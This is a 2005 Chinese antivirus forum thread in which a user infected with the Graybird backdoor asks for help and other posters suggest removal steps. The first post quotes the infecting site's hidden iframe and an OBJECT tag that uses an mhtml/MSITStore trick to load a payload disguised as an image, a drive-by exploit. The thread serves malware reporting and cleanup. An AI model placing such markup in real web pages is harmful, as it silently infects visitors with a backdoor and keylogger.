12   1  /  2  页   跳转

我中了灰鴿子病毒,救命呀?!

我中了灰鴿子病毒,救命呀?!

我无意间打开了http://chat.yeeyoo.com
然后我的诺顿企业版提示发现病毒
如下:

扫描类型: 实时防护 扫描
事件: 已发现病毒!
病毒名称: Backdoor.Graybird
文件: C:\WINDOWS\serices.DLL
位置:隔离区


后来我检查了一下http://chat.yeeyoo.com的源代码
发现里面有一句:
<iframe src="http://chat.yeeyoo.com/images/index.htm" name="zhu"
width="0" height="0" frameborder="0">很可疑
于是我直接打开http://chat.yeeyoo.com/images/index.htm,诺顿就提示如上了,我想病毒可能会包含在里面
我检查了一下http://chat.yeeyoo.com/images/index.htm的源代码,发现代码如下:
<html>
<OBJECT style="display:none;" type="text/x-scriptlet"
data="MK:@MSITStore:mhtml:c:\.mht!http://chat.yeeyoo.com/images/logo.jpg::/102%2E%68tm"></OBJECT>
</body>
</html>
我想这就是我在访问http://chat.yeeyoo.com的同时,
又下载了http://chat.yeeyoo.com/images/index.htm这个页面中加载的:OBJECT中的小文件

--------------------------------------------------------------------------------------------------

访问后,我发现我的系统文件夹,windows目录里面多出一个:sericesKey.DLL,文件,无法删除
请瑞星的客服帮忙解决一下
用瑞星可以杀掉这个病毒吗???
最后编辑2005-11-01 17:08:24
分享到:
gototop
 

瑞星杀不掉.请扫一个HJ日志上来,帮你找到病毒主文件.
gototop
 

用procexp查看那个进程使用dll,关闭进程,再把dll文件删掉
工具使用参考
http://forum.ikaka.com/topic.asp?board=28&artid=7318038
gototop
 

病毒的主文件就是:windows目錄里的sericesKey.DLL文件,但是無法刪除
gototop
 

晕,dll文件能运行吗??只有exe的文件才是主文件,
gototop
 

sericesKey.DLL  这个只是一个小小的键盘输入记录器~~主文件应该是serices.exe
gototop
 

用HijackThis掃描的進程

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
D:\PROGRA~1\SYMANT~1\SYMANT~1\DefWatch.exe
D:\PROGRA~1\SYMANT~1\SYMANT~1\Rtvscan.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\VM_STI.EXE
C:\Program Files\Common Files\Real\Update_OB\realsched.exe
C:\WINDOWS\System32\clsmn.exe
D:\Program Files\BitComet\BitComet.exe
C:\WINDOWS\system32\internat.exe
D:\Program Files\Thunder Network\Thunder\Thunder.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\WINDOWS\System32\Rundll32.exe
C:\WINDOWS\System32\Rundll32.exe
C:\DOCUME~1\lingyue\LOCALS~1\Temp\HijackThis.exe
gototop
 

引用:
【數碼科技的贴子】病毒的主文件就是:windows目錄里的sericesKey.DLL文件,但是無法刪除
...........................


用procexp存一个日志文件贴上来
gototop
 


系統目錄里還有一個:c:\windows\serices.exe
這個應該就是真正的主程序名了吧
gototop
 

晕呀,要全部的,鸽子大部分在后面的023项里才能看得到.
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT